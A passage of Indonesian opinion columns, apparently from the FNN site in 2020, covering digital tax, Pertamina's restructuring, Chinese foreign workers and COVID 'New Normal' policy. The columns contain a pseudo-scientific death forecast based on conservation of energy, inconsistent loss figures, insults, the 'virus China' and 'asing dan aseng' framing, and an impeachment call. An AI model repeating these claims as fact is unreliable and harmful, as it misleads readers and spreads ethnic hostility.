konsensus global terkait kebijakan pajak digital, maka masing-masing negara melakukan langkah sendiri-sendiri untuk mencari aspek yang paling mungkin dengan membuat regulasi nasional di setiap negara untuk menerapkan pajak ekonomi digital. Kebijakan itu yang kemudian memicu perang dagang yang dilancarkan pemerintahan Amerika pimpinan Presiden Donald Trump. Uni Eropa misalnya, sebagai organisasi multilateral kawasan, tidak menarik pajak, baik pajak pertambahan nilai (disebut value-added tax; VAT di Eropa) maupun pajak korporasi. Uni Eropa hanya menyediakan payung regulasi. Maka aturan perpajakan di setiap negara anggotanya harus mengacu pada regulasi perpajakan yang diatur Uni Eropa. Meskipun setiap negara anggota Uni Eropa punya persentase pajak pertambahan nilai yang berbeda satu dengan yang lain. Misalnya, Prancis menerapkan pajak pertambahan nilai sebesar 20 persen, Jerman 19 persen, dan berbeda dengan Hungaria yang 27 persen. Uni Eropa punya dua skema regulasi terkait pajak perdagangan digital. Perbedaan antara dua regulasi ini dilatarbelakangi perbedaan wujud barang yang diperdagangkan, apakah barang itu punya wujud fisik (tangible) atau tidak memiliki wujud fisik (intangible). Pertama, regulasi pajak pertambahan nilai mengatur bahwa pajak baru bisa dikenakan apabila nilai transaksi di atas ambang batas yang ditetapkan oleh negara tempat konsumen berada. Contohnya, Perancis mensyaratkan pajak pertambahan nilai apabila nilai produk yang diperdagangkan lebih dari 35 ribu Euro per tahun. Sedangkan Jerman mensyaratkan pajak pertambahan nilai terhadap produk dengan nilai lebih dari 100 ribu euro per tahun. Kedua, setiap perusahaan yang teregistrasi pada sistem pajak pertambahan nilai Uni Eropa wajib menjaminkan dana sebesar delapan ribu euro ke masing-masing negara tempat mereka menjual barang.Skema regulasi pajak pertambahan nilai yang pertama berlaku pada hubungan perdagangan antara perusahaan dengan konsumen (business to customer) yang memperdagangkan barang-barang yang mempunyai wujud fisik (tangible). Apabila nilai barang berada di atas ambang batas yang diatur di negara itu, maka perusahaan wajib mengenakan pajak pertambahan nilai dengan mengacu pada regulasi pajak pertambahan nilai yang berlaku di negara konsumen terkait. Begitu pun ketika perusahaan ternyata tidak berasal dari Uni Eropa. Jika nilai barang berada di atas ambang batas yang ditentukan, maka perusahaan wajib menarik pajak sesuai regulasi yang berlaku di negara konsumen. Sebaliknya, bila hubungan dagang dilakukan antara perusahaan Uni Eropa dengan konsumen di luar Uni Eropa, maka perusahaan tidak akan dikenai pajak pertambahan nilai. Sementara skema regulasi kedua berlaku pada bisnis-bisnis di bidang telekomunikasi, penyiaran, dan layanan elektronik lain seperti perusahaan gim, penyedia layanan musik, film, maupun perangkat lunak. Dalam skema ini, apabila perdagangan dilakukan antara perusahaan asal Uni Eropa dengan konsumen yang juga berasal dari Uni Eropa, maka pajak pertambahan nilai yang dikenakan harus sesuai dengan regulasi pajak di negara konsumen berada. Selian itu, apabila perdagangan dilakukan antara perusahaan yang tidak berasal dari Uni Eropa dengan konsumen Uni Eropa, maka pajak pertambahan nilai mengikuti regulasi pajak di negara konsumen . Melalui kedua regulasi di atas, perusahaan—baik yang berasal dari Uni Eropa maupun di luar Uni Eropa—tidak hanya bertanggung jawab untuk menarik pajak, tetapi juga mengumpulkan, melaporkan, dan menyerahkan pajak pertambahan nilai itu ke pemerintah di negara konsumen atau perusahaan itu berada. Misalnya, seseorang yang berasal dari Italia mengunduh aplikasi yang dijual oleh perusahaan asal Polandia, maka perusahaan asal Polandia itu harus menarik pajak pertambahan nilai dari konsumen sesuai dengan regulasi pajak di Italia. Penutup Dengan tidak adanya kepastian global terkait konsensus pajak digital, maka dipastikan kebijakan pajak digital yang diumumkan pemerintah Joko Widodo akan sulit dijalankan. Pertama, Presiden Donald Trump dengan projek "American First" akan melancarkan perang dagang dengan setiap negara yang berani memungut pajak secara discrominatif kepada perusahaan asal Amerika. Kedua, hambatan tidak adanya instrumen penopang untuk memungut pajak digital bisa menjadi hambatan berikutnya bagi pemerintahan Joko Widodo untuk menjalankan kebijakan pajak digital. Persoalan teknologi tak bisa diatasi semata dengan solusi regulasi yang selama ini dipakai untuk mengatur kegiatan ekonomi konvensional. Bagaimana mungkin regulasi yang dibatasi oleh border negara dapat mengendalikan dan mengatur teknologi digital yang meruntuhkan border setiap negara? Bagaimana mungkin regulasi dapat mengatasi masalah pajak digital yang digerakan oleh teknologi informasi yang tak terikat teritori negara? Dua masalah ini, selain masalah tak adanya konsensus global yang diuraikan di atas, yang sepertinya menjadi hambatan yang menyebabkan kebijakan pajak digital yang diatur di dalam UU No. 2/2020 tentang Darurat Corona, dipastikan akan ambyar sebelum dijalankan. Penulis adalah Pendiri Intelligence Finance Community (INFINITY )

Menteri Erick Hancurkan Pertamina Melalui Sub Holding

by Salamuddin Daeng Jakarta FNN – Kamis (18/06). Menteri Negara Badan Usaha MIlik Negara (BUMN) Erick Thohir sebaiknya baca dan belajar lagi tentang sejarah negeri ini. Juga belajar lagi tentang konstitusi Indonesia. Bila salah melangkah, anda setiap saat bisa dijuluki sebagai pengkhianat bangsa. Melalui tulusan ini, kami ingin menegaskan padangan yang berkaitan dengan masalah pembentukan sub holding Pertamina. Sebelum membuat kebijakan terkait pengelolaan BUMN, tidak ada salahnya bila Menteri Erick perlu membaca sejarah dan landasan konstitusi bernegara, ketika membuat kebijakan apapun dalam pengelolaan BUMN. Secara khusus terkait kebijakan yang baru-baru ini ditetapkan Menteri BUMN, dengan merombak organisasi Pertamina.Tujuannya untuk mengubah haluan Pertamina secara fundamental. Untuk itu, Menteri BUMN memangkas sejumlah direksi, dan melahirkan sub Holding terhadap semua anak perusahaan Pertamina. Kebijakan membuat sub holding ini, hanya semata-mata untuk menghancurkan Pertamina. Pertamina telah menjadi holding BUMN untuk sektor migas. Namun kembali menaungi sejumlah sub holding. Misalnya sub holding upstream (hulu), sub holding refinery and petrochemical (pengolahan), sub holding commercial and trading (pemasaran), sub holding power and new and renewable energy (energi baru dan terbarukan), sub holding shipping company, dan gas. Salah satu sub holding perseroan yang telah melantai di Bursa Efek Indonesia (BEI) sekarang adalah sub holding gas, yaitu PT Perusahaan Gas Negara (PGN Persero). Selanjutnya menteri BUMN menegaskan, tugas sub holding adalah melakukan IPO alias go public. Direktur Strategi Portofolio and New Ventures (direktur baru) yang sebelumnya menjabat sebagai Direktur Utama PT Perusahaan Pengelola Aset (Persero) atau PPA diberi tugas merealisasikan kebijakan ini. Perombakan organisasi dan haluan Pertamina ini dilakukan melalui Surat Keputusan Menteri BUMN Nomor : SK-198/MBU/06/2020 dan sekaligus dianggap sebagai RUPS Pertamina. RUPS yang tanpa laporan keuangan. Lalu dilanjutkan dengan SK Dirut Pertamina. Luar biasa perubahan mendasar dalam haluan, tujuan, fungsi, dan tugas BUMN hanya bermodalkan surat keputusan seorang menteri BUMN. Apa artinya keputusan menteri BUMN tersebut? Ini adalah privatisasi pertamina. Aset-aset operasional paling kunci di Pertamina dijual ke publik. Rantai supply paling utama urat nadi perusahaan terbesar di Indonesia ini akan dikelola bersama dengan pihak swasta. Swasta akan menjadi pemegang saham atas aset dan kekayaan Pertamina yang paling bernilai strategis dan menguasai hajat hidup orang banyak. Terutama anak perusahaan Pertamina atau sub holding yang dibentuk. Semua ini pada intinya pemerintah sedang butuh uang. Aset-aset Pertamina yang mau dijual-jual. Penting Paham Sejarah Negara ini dasar hak yang paling utama adalah sejarah. Hak pertama kali bangsa Indonesia atas seluruh kekayaan Indonesia adalah sejarah perjuangan bangsa Indonesia merebutnya dari tangan penjajah Belanda. Hak inilah yang kemudian menjadi UUD 1945, dan berbagai undang-undang yang berlaku. Seluruh aset negara Indonesia berhubungan dengan hal yang paling mendasar, yakni sejarah bangsa Indonesia yang tidak bisa diubah. Sintesa terhadap sejarah aset bangsa dan negara Indonesia tersebut adalah termaktub dalam UUD 1945 (pasal 33 ayat 2), “cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak dikuasai oleh Negara”. Kalnjutannya adalah pada ayat 3 dari pasal 33 UUD 1945, yaitu “bumi air dan kekayaan alam yang terkandung di dalamnya dikuasai oleh negara, dan dipergunakan untuk sebesar besarnya kemakmuran rakyat”. Demikian juga Pertamina yang menjadi aset Negara, merupakan babak sejarah yang paling penting. Mengapa penting karena keberadaan Pertamina sebagai bagian dari perjuangan bangsa Indonesia mengambil aset itu dari tangan penjajah, sehingga menaungi Pertamina dengan pasal 33 ayat 2 dan 3 tersebut. Sejarah Pertamina adalah sejarah perjuangan kemerdekaan. Sejarah merebut kedaulatan negara Indonesia atas kekayaan alam Indonesia. Dalam pelaksanaan cita-cita kedaulatan itulah, perusahaan migas yang tadinya dikuasai oleh kolonial Belanda dan perusahaan swasta lainnya diambil alih oleh negara dan disatukan menjadi perusahaan negara. Penyatuan ini adalah dalam rangka penguasaan negara sebagaimana amanat dan perintah konstitusi UUD 1945 pasal 33 itu. Bahkan pada awalnya, masa-masa awal perjuangan untuk menegakkan kemerdekaan, perusahaan migas dikendalikan oleh tentara. Dikendalikan sepenuhnya untuk kepentingan perjuangan. Belum ada cita-cita untuk perniagaan atau bisnis. Sampai dengan lahirnya UU 8 Tahun 1971 Tentang Pertamina, perusahaan migas ditempatkan pengelolaannya secara terpisah dengan APBN. Namun Pertamina mendapat mandat langsung dari negara untuk menjalankan tugas dan tanggung jawab mengelola kekayaan alam migas dan sebagai pelaksana kedaulatan negara atas migas. Begitulah sejarahnya Pak Erick. Semua perusahaan migas Indonesia disatukan di bawah Pertamina. Sementara perusahaan migas asing yang masih dipertahankan keberadaannya karena alasan tertentu berada di bawah kontrak dengan Pertamina. Semua perusahaan migas yang berinvestasi di Indonesia berkontrak dengan Pertamina. Seluruh hasil minyak yang diangkat dari perut bumi Indonesia adalah kekayaan negara dan keuangan negara. Pertamina mendapat momentum terpenting, bukan hanya sebagai penyumbang pendapatan negara, tetapi juga menjadi penopang utama pembangunan, dan perekonomian negara. Dengan demikian, semua uang yang diperoleh Pertamina dalam usaha minyak terutama ekspor adalah milik negara. Uang tersebut sebagian digunakan untuk membiayai pemerintahan dan sebagian digunakan membangun infrastruktur Pertamina. Misalnya, memperluas jaringan bisnis, kantor-kantor Pertamina tersebar hingga ke Tokyo, dan New York. Menjadi salah satu persamaan yang cukup terkemuka di dunia. Uang hasil keuntungan Pertamina kalau dalam konteks sekarang adalah Anggaran Pendapatan dan Belanja Negara (APBN). Dengan demikian semua aset penting Pertamina yang dibangun, mulai dari aset operasional sepeti hulu, kilang, kapal, ritel , tanah, gedung , hotel, rumah sakit, adalah aset negara murni. Bahkan perusahaan asing yang beroperasi di hulu adalah aset negara murni. Karena setiap investasi dan operasi hulu yang dilakukan perusahaan asing tersebut diganti oleh negara melalui cost recovery. Sebagai aset negara yang dibangun dengan APBN, tidak akan semudah itu melepaskannya. Pengkhianat Negara Sebagian besar aset, harta, dan kekayaan Pertamina itu seusia dengan Republik Indonesia. Akibatnya, ada tiga masalah setidaknya yang muncul ketika aset Pertamina yang ada saat ini mau dijual kepada swasta atau asing, baik itu hanya sebagian maupun seluruhnya. Pertama, aset Pertamina itu sebagian besar adalah hasil perjuangan. Pengorbanan bangsa Indonesia merebutnya dari tangan penjajahan. Bukan hasil dagang. Bukan juga hasil dari valuasi keuangan, dan sejenisnya. Namun hasil perlawanan fisik. Jadi tidak mungkin bisa dijual kepada siapapun. Harus faham itu. Harap jangan dungu dan dongo. Kedua, aset Pertamina adalah milik Negara, yang berasal dari pengambilan kekayaan negara yang ada di perut Bumi Indonesia. Dengan demikian, dikuasai oleh negara sebagaimana ditetapkan oleh konstitusi UUD 1945. Konstitusi dasar ini adalah pasal 33 ayat 2 dan 3. Sampai sekarang belum diubah. Maknya baca. Jangan butakan mata sendiri. Ketiga, aset Pertamina itu adalah kekayaan negara yang tidak pernah dipisahkan. Dengan demikian, asset tersebut tidak dapat dipisahkan, karena berasal dari keuangan negara murni. Sekarang kita sebut dengan Anggaran Pendapatan dan Belanja Negara (APBN). Harus mengerti itu baik-baik. Jangan sampai dibilang kaleng-kaleng dan beleng-beleng. Jika pemerintahan, menteri, para pejabat atau siapapun termasuk presiden maupun DPR, secara sengaja membuat kebijakan yang melegalkan atau secara ilegal menjual aset Pertamina kepada swasta, maka akan berimplikasi kepada tiga hal yang juga sangat mendasar. Pertama, terhapusnya memori sejarah bahwa perjuangan mendapatkan untuk Pertamina adalah bagian penting dari sejarah perjuangan kemerdekaan. Tidak terpisahkan dari perjuangan melaksanakan proklamasi 17 Agustus 1945. Ini akan membahayakan perjalanan sejarah bangsa ke depan. Kedua, pelanggaran terhadap UUD 1945, khususnya pasal 33 ayat 2 dan ayat 3. Sehingga ini akan membahayakan konstitusi negara ini sendiri. Akan menjadi preseden yang buruk untuk penyelenggaraan negara ke depan. Ketiga, terjadi tindakan penyelewengan terhadap keuangan Negara. Ini juga nyata-nyata merupakan penyimpangan terhadap undang-undang, dan berbagai peraturan yang mengatur keuangan Negara. Juga penyimpangan terhadap APBN. Aset Pertamina itu sesungguhnya tidak dapat dijual. Kalau terpaksa dijual, maka harus ada referendum dari rakyat. Meminta dulu persetujuan seluruh rakyat. Jika pejabat negara memaksakan diri menjual, maka dapat dituduh atau dikategorikan sebagai pengkhianat bangsa. Pelaku pengkhianat bangsa itu bisa kualat. Dirinya, dan anak cucunya yang memakan harta itu semoga dilaknat. Mudah-mudahan niat pemerintah melalui menteri BUMN menjual Pertamina kepada swasta dan asing urung dilakukan. Amin amin amin Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI).

Kedunguan dan Kerugian Negara Soal TKA China

by Amar Ma'ruf Jakarta FNN - Kamis (18/06). Pemerintah ini memang bersikap kepala batu. Tidak mau pertimbangkan kritikan yang ada di bawah. Tuli dan buta terhadap kritik yang datang dari masyarakat. Padahal ada data kelalaian perusahaan tentang prosedural mempekerjakan Tenaga Kerja Asing (TKA). Hukum Indonesia mengatakan,Tidak ada satupun orang di jagat Nusantara ini yang memiliki hak untuk menolak Investasi. Apalagi selama invetasi itu bertujuan mengembangkan ekonomi daerah ,dan tak lupa tidak merampok hak rakyat. Namun, dengan catatan harus sesuai alur konstitusi, bagaimana Rumusnya ? TKA (Tenaga Kerja Asing) datang dengan menggunakan indeks Visa 211 (visa kunjungan) itu adalah visa hiburan. Semacam wisata, kunjungan keluarga sejenisnya. Bukan Visa Kerja. Visa itu tidak membayar Pajak dari gaji mereka. Apalagi Dana Kompensasi Penggunaan TKA (DKP TKA) itu sebesar U$100 loh. Artinya, seorang yang datang bekerja dengan index visa terebut adalah ilegal. Bahasa manisnya itu, yaaa penyelundupan. Selama TKA menggunakan Visa 211, tidak dibenarkan mereka berada dilingkungan pabrik Smelter peleburan biji nikel. Jika ada, mka itu adalah tindakan pidana, dan konsekwansinya harus dideportasi dari wilayah hokum Indonesia. Mereka melanggara hukum, itulah yang terjadi dengan 49 TKA yang masuk sebelumnya ke Virtu Dragon Nickel Industry (VDNI) dan OSS bulan Maret Kemarin. Pertanyaan kepada Pak Menteri Pertahanan Prabowo Subianto, apakah itu bukan ancaman? Jika TKA yang masuk ke Indonesia dengan tujuan kerja, seharusnya menggunakan Visa kerja 311. Bukan Visa Kunjungan 211. Kalau ginikan Sovereignty kita sakit jadinya. Kami meminta keterbukaan informasi dari pemberi kerja dalam hal ini perusahaan pengolahan biji nikel VDNI dan OSS, ke 500 TKA yang masuk ke Indonesia ini mengantongi Visa jenis apa? Apakah seluruhnya mempergunakan Visa 311? Bagaimana kebijakan dari Kemenaker, Imigrasi, Dirjen Pajak? Yang jelas, 49 TKA China yang sebelumnya masuk ke Indonesia menggunakan Visa 211 (Visa Kunjungan) seperti yang telah diungkapkan oleh Menko Kemaritiman Dan Investasi di media sebelumnya. Dari 49 TKA yang sudah masuk dengan visa 211, negara kehilangan DKP-TKA $ 4.900/bulan atau setara dengan Rp. 73.500.000. Itu hanya baru dana Dana Kompensasi. Bagaimana dengan pajak (20%) dari gaji mereka ketika mengacu pada pernyataan Duta Besar China di Indonesia Wang Liping sebesar $30.000 per tahun atau setara Rp. 450 juta (kurs Rp.15.000) Totalnya kerugian negara adalah Rp 441 juta setiap bulan. Terus kalau setahun berapa? Bukannya Rp. 6.100.500.000. Lalu bagimana jika 500 TKA itu ternyata mengggunakan Visa unprosedural pula. Setelah dihitung mengikuti sample 49 TKA sebelumnya, maka negara rugi Rp. 54 miliar per tahun. Bagimana dengan puluhan ribu TKA China yang telah lebih dulu ada dan bekerja di dalam pabrik smelter nikel, baik yang di VDNI maupun OSS? Bukan itu saja. Bagaimana dengan yang ada di Halmahera, Morowali, Bantaeng, Riau dan lain-lain? Sebaiknya KPK deh yang turun ke sana hitung sendiri korupsi dan kerugian negara yang terjadi. Sebbaiknya kita buka-bukaan sajalah kepada publik. Apa sih jenis pekerjaan dari 500 TKA China yang katanya tenaga ahli itu?Apa jenis Visa mereka gunakan? Apa latar belakang mereka? Kalau nggak mau, ya sudah fair-fairan saja apa yang sebenarnya terjadi? How much? Masa setelah pertemuan tersembunyi Pemprov, Pemda, Polda bersama Menko Kemaritiman, tiba-tiba bilang "ok silakan masuk". VDNI serta OSS pula harus terbuka dan harus di audit penggunaan tenaga kerjanya. Berapa banyak tenaga kerja yang telah diselundupkan masuk ke Indonesia dengan menggunakan Visa kunjungan? Apakah sesuai dengan Telex visa yang telah dikeluarkan oleh Konsulat Jenderal Indonesia di China. Apakah sesuai dengan permohonan kedua perusahaan tersebut ? Selaku putra Sulawesi Tenggara, saya berharap Pemkab dan Pemprov seharusnya menikmati sistem bagi hasil pajak tersebut. Atau sebaiknya begini saja, Kementrian Tenaga Kerja dan Dirjen Pajak kami tantang deh untuk terbuka. TKA China itu upahnya dibayar dimana? Apakah dibayar di Indonesia kah atau di negara asal ? Kalau mereka dibayar di Indonesia, maka mereka harus bayar pajak. Masa TKI saja yang dipotong gajinya, sementara mereka TKA China tidak? Mereka sama juga mencari makan di Indonesia. Tetapi kalau mereka gajinya dibayar di negera tercintanya, maka perusahaan VDNI dan OSS telah melanggar dua hal, yaitu mall Prosedural Visa, dan Mall payment Upah. Ibarat WNI yang baru start membibit, namun WNA datang langsung panen. WNI dikasi kartu prakerja, WNA dikasi langsung kerja. Kan aneh jadinya. Saya tantang deh Ibu Menteri Tenaga Kerja kita diskusi tentang Tenaga Kerja Asing. Biar ndak keluarin surat Pimplan lagi. Pemerintah hanya memperhatikan perusahaan Asing, pengusaha merah putih yang jelas-jelas pekerjakan tenaga lokal, bayar, pajak, bayar royalty dan kasi CSR udah ngerengek rengek agar dibuka ekspor nikel, malah nggak dikasih. Anak angkat disanjung, anak kandung dibuang, kan gila Negara ini Penulis adalah Wakil Sekjen PB HMI.

New Normal, Sama Dengan New President?

by Abdullah Hehamahua Jakarta FNN – Rabu (18/06). "Jadi dia guru dansa dan dia berdansa dengan teman dekatnya itu (WN Jepang )," kata Menkes Terawan Agus Putranto dalam jumpa pers di RSPI Sulianto Saroso, Jakarta Utara, Senin (2/3/2020). Maknanya, guru tersebut tertular setelah berdansa dengan warga negara Jepang yang bukan mahramnya. Otomatis, ibunya yang serumah pun tertular. Dansa bukan budaya Indonesia, apalagi Islam. Al-Qur’an mengingatkan, “Dan janganlah kamu mendekati zina, (zina) itu sungguh suatu perbuatan keji, dan suatu jalan yang buruk.” (QS Al Isra: 32). Presiden, secara resmi mengumumkan dua orang terpapar virus corona China tersebut. Aneh. Dua orang saja yang baru terpapar virus China itu, belum meninggal, namun serius diumumkan. Padahal, lebih 894 petugas KPPS meninggal ketika Pilpres, namun Presiden tidak ada empatinya. Presiden, Menteri, Gubernur, Bupati, Walikota, Camat, Kades, boleh dibilang tidak ada yang merespons kematian 894 petugas KPPS. KPU, KPUD, Bawaslu, dan Panwaslu, seirama dengan sikap bos mereka. Apalagi, sebagian kepala daerah yang berpikir, jangan-jangan mereka berada dalam radar Jaksa Agung, orang parpol yang ada dalam koalisi penguasa waktu itu. Tragisnya, dokter Ani Hasibuan yang mengemukakan pendapat ilmiahnya secara professional, malah dikriminalisasi. Inilah contoh negara kekuasaan. Bukan negara hukum. Ilustrasi pertama pengkhianatan terhadap bangsa. Teori Kekekalan Enerji Semua energi yang ada di alam semesta ini tidak dapat dihilangkan. Energi hanya dapat diubah bentuknya menjadi energi bentuk lain. Panas setrika misalnya, merupakan hasil perubahan dari energi listrik. Jumlah enerji dari listrik sama banyak dengan yang digunakan di setrika. Berlaku juga hukum keseimbangan. Jumlah air yang menguap dari dalam tanah dengan yang turun dalam bentuk hujan, sama banyaknya. Satu detik, 16 juta ton air menguap dari bumi. Jumlah itu, sama dengan banyaknya air hujan yang turun ke bumi dalam satu detik. Ketika korban nyawa akibat virus China sudah mencapai empat ratusan orang, di salah satu grup WA, saya katakan, angka itu akan mencapai 894 orang, barulah serangan wabah menurun. “Menurut Arief, total ada 894 petugas yang meninggal dunia dan 5.175 petugas mengalami sakit,” tulis Kompas.com tanggal 22 Januari 2020, pukul 15.46 WIB. Maknanya, menurut Ketua KPU, Arief Budiman, ada 894 petugas KPPS yang meninggal dan 5.175 yang sakit dalam Pilres 2019. Faktanya, 11 Juni 2020, 2.000 orang sudah meninggal. Apakah teori kekekalan enerji yang saya sebutkan di grup WA itu, keliru? Sebab, petugas KPPS Pilpres 2019 yang meninggal 894 sedangkan korban virus China, sudah 2.000 orang. Apakah itu berarti, dari 5.175 petugas KPPS yang sakit tersebut, tidak dilaporkan lagi berapa yang meninggal kemudian? Jika teori kekekalan enerji itu benar, maka diperkirakan korban meninggal dunia akibat virus China akan mencapai 6.069 orang. Maknanya, kebijakan Presiden tentang new normal ini akan menambah empat ribuan orang lagi yang akan meninggal. New Normal bermakna Presiden Baru? “Seperti yang saya sampaikan sebelumnya, berdamai dengan covid-19. Sekali lagi, yang penting masyaraat produktif, aman, dan nyaman,” kata presiden melalui keterangan resmi dari Istana Merdeka, Jum’at, 15 Mei lalu. Tanggal 26 Mei, Presdien mengumumkan 4 provinsi dan 25 kabupaten/kota bisa bersiap menerapkan tatanan baru. Sidoarjo termasuk salah yang akan melaksanakan new normal padahal masih berstatus merah, dimana 609 kasus positif pada 29 Mei. Pertanyaannya, presiden mengutamakan produksi atau keselamatan rakyat? Keduanya berjalan serentak? Secara teoritik, kedua hal tersebut dapat berjalan beriringan. Syaratnya, pemerintah dan rakyat sudah siap. Pemerintah siap dengan sistem kepemimpinan baru, pengelolaan negara yang modern serta sarana dan prasarana penanggulangan virus China termutakhir. Kepemimpinan baru bermakna ganti presiden? Bisa iya. Tapi, juga bisa tidak. Sistem kepemimpinan baru, bermakna reshuffle kabinet atau cara kerja kabinet yang harus dibaiki. Bisa iya. Tetapi, bisa juga tidak. Sebab, ikan selalu busuk dari kepala. Sarana dan prasarana baru bermakna, penambahan rumah sakit, tenaga medis, peralatan medis, dan obat-obatan mutakhir. Apakah pemerintah mampu melakukan hal tersebut? Sebagian masyarakat, termasuk saya, ragu. Sebab, menghadapi gubernur-gubernur DKI, Jawa Barat, Jawa Tengah, dan Jawa Timur saja, pemerintah pusat sudah kedodoran. Tidak ada di antara mereka yang ikhlas menyetujui kebijakan new normal tersebut. Anies Baswedan, salah satu dari 100 cendekiawan muslim terkenal di dunia saat ini, dan cucu pahlawan nasional, yang karena kecerdasan dan keahlakkannya, menggunakan istilah “PSBB transisi” sebagai bahasa tubuh menolak kebijakan Presiden tentang new normal. Komponen kedua adalah rakyat. Apakah mereka siap membantu keberhasilan new normal? Maaf, bukan menghina bangsa sendiri. Faktanya, masyarakat Indonesia terkenal tidak disiplin. Perhatikan, bagaimana mereka tetap berdesak naik bus, angkot, kereta api, pesawat terbang. Mereka juga berdesak-desakan menerima bansos di kantor kelurahan atau di tempat publik lainnya. Tolok ukur untuk memerkirakan new normal berhasil atau tidak, perlu mengamati kebijakan pemerintah Korsel. Sistem birokrasinya, salah satu dari tiga negara terbaik di Asia (Singapura, Jepang, Korsel). KPK juga sudah berguru sama Korsel mengenai proses reformasi birokrasi dan pencegahan korupsi. Rakyat Korsel disiplin. Negeri ginseng ini mulai menerapkan new normal pada awal Mei 2020. Faktanya, tanggal 28 Mei lalu, pemerintah menerapkan kembali proses karantina. Sebab, pada hari itu, ada 78 kasus baru terpapar virus China. Diulangi, hanya 78 kasus baru. Bandingkan dengan Indonesia, dimana 979 kasus baru pada 11 Juni setelah diberlakukan new normal, awal bulan. Total, 35.295 orang terpapar virus China dan 2.000 orang meninggal. Pelajaran dari Negeri Ginseng Pemerintah Korsel melakukan intervensi cepat pada akhir Januari 2020. Sebelum krisis datang. Pemerintah Indonesia, baik oleh Wakil Presiden, Menko maupun para Menteri mengatakan, Indonesia tidak akan terkena virus corona. Pemerintah Korsel, sepekan setelah diumumkan kasus pertama, pejabat terkait menemui perwakilan berbagai perusahaan medis. Perusahaan diminta segera mengembangkan alat uji virus China dan memroduksinya secara massal. Hanya dalam dua pekan, ribuan perangkat tes dikirim setiap hari. Padahal, waktu itu, kasus yang dikonfirmasi masih dua digit. Kini, Korsel mampu memroduksi 100.000 kit per hari. Sejak itu, ada pembahasan ekspor alat uji tes ke 17 negara. Kebijakan solutif pencegahan dan penyembuhan diikuti lockdown di Daegu, daerah dimulainya virus China. Lalu bagaimana di Indonesia? Pemerintah Indonesia melakukan kebijakan yang sebaliknya. Mengimpordan mengimpor. Bahkan, permintaan Gubernur DKI untuk dilakukan lockdown di Jakarta, ditolak oleh pemerintah Pusat. Nyata benar, perbedaan kualitas kepempinan tingkat negara. Kebijakan kedua pemerintah Korsel, dilakukan test dini anggota masyarakat. Sesering dan seaman mungkin. Korsel adalah negara yang menguji anggota masyarakat terbanyak di dunia, lebih dari 300.000 tes untuk tingkat per kapita. Bahkan 40 kali lipat dari AS. Pendekatan dengan cara pengujian masif dirancang untuk mengetahui seberapa besar wabah yang telah berlangsung. Rumah sakit dan klinik di Korsel tak kewalahan, karena pejabat membuka 600 pusat pengujian untuk menyaring orang sebanyak mungkin. Juga yang secepat mungkin. Proses tersebut jugauntuk menjaga petugas kesehatan tetap aman dengan meminimalkan kontak. Pengujian juga menggunakan stasiun drive-thru, di mana 50 stasiun digunakan untuk menguji pasien tanpa meninggalkan mobilnya. Mereka juga diberikan kuisioner, pemindaian suhu jarak jauh dan swab pada tenggorokan. Setiap proses butuh waktu hanya sekitar 10 menit. Hasil tes sudah bias diperoleh dalam beberapa jam. Bandingkan dengan Indonesia, 2 sampai 3 hari baru diketahui hasil test. Metode ketiga, pencarian kontak dan isolasi. Dimana jika seseorang dinyatakan positif, petugas kesehatan akan menelusuri kembali jejak perjalanan pasien dan mengujinya. Bahkan, jika perlu segera mengisolasi siapa pun yang melakukan kontak dengan pasien positif itu. Korsel telah mengembangkan alat dan tindakan pelacakan kontak agresif sejak MERS. Petugas kesehatan Korsel menelusuri pergerakan pasien dengan menggunakan rekaman kamera keamanan. Selain itu menelusuri melalui catatan kartu kredit, hingga data GPS dari mobil dan ponsel. Layaknya kerja seorang detektif. Saat wabah semakin meluas, pemerintah mengandalkan pesan massal untuk melakukan pelacakan secara intensif. Ponsel warga bergetar dengan peringatan darurat setiap kasus baru ditemukan di distrik mereka. Situs web dan aplikasi ponsel merinci jadwal perjalanan orang itu jam demi jam. Terkadang menit demi menit. Bahkan, bus yang dinaiki, kapan, dan dimana mereka naik-turun, terdeteksi walaupun memakai masker. Warga Korsel mengikhlaskan hilangnya privasi demi kepentingan bersama. Mereka yang melakukan karantina mandiri diwajibkan mengunduh aplikasi yang memberitahu petugas, jika nanti keluar dari isolasi. Korsel menerapkan denda bagi pelanggar, sebesar U$ 2.500 dollar. Di Indonesia, warga tidak mau ditest. Metoda Keempat, pendaftaran warga yang menjadi sukarelawan kesehatan. Dahsyatnya, siaran televisi, pengumuman stasiun kereta bawah tanah, dan peringatan di ponsel pribadi tak pernah berhenti mengingatkan warga untuk mengenakan masker. Pesan di ponsel pribadi juga memberi petunjuk tentang social distancing dan data transmisi pada hari itu. Wajar kalau survei menunjukkan, mayoritas warga menyetujui dan yakin dengan upaya pemerintah untuk menangani virus China ini. Bahkan, pemerintah memberi intensif bagi warga yang tak bergejala, mau dites. Berbeda dengan Indonesia, dimana mayoritas masyarakat tidak percaya kemampuan pemerintah menangani virus China ini. Mungkinkah cara Korsel diadaptasi? Para ahli menyebutkan, Korsel berhasil karena pemerintah memiliki kemauan politik yang serius untuk melindungi rakyatnya. Sedangkan Indonesia, pemerintah lebih mengutamakan keselamatan usaha asing dan aseng. Lha, apa buktinya? Buktinya Presiden mendatangi mall milik Naga 9 ketimbang ke masjid atau pasar induk. Persoalan berikutnya, kepercayaan publik Korsel sangat tinggi terhadap pemerintah. Sementara di Indonesia, ada kalangan yang menyambut kebijakan new normal dengan goyonan, mendingan “new president”. Rekonsiliasi atau Reorientasi? Dua alternative menuntaskan virus China dan dampaknya. Pertama, rekonsiliasi nasional dengan memerhatikan aspirasi masyarakat yang ingin Sidang Umum Istimewa MPR, mema’zulkan presiden dengan mengikuti protokoler UUD 45. Menetapkan KH Ma’ruf Amin sebagai presiden dengan tugas melaksanakan Pilpres dalam waktu dua tahun ke depan. Kedua, tidak ada pema’zulan presiden, dengan cara, “Menarik RUU Omnibus Law dan RUU HIP, Membatalkan UU No 2/2020 tentang Covid 19 dan UU Minerba”. Selain itu, menahan dan memroses Penyelanggara Negara yang terindikasi komunisme, marxisme, dan leninisme. Membebaskan pemuda, mahasiswa, ulama, dan aktivis yang ditangkap karena penyalahgunaan kekuasaan oleh penegak hukum. Semoga ! Penulis adalah Mantan Penasehat KPK

Pemakaian Klorokuin untuk Pasien Covid-19 Tidak Berbahaya?

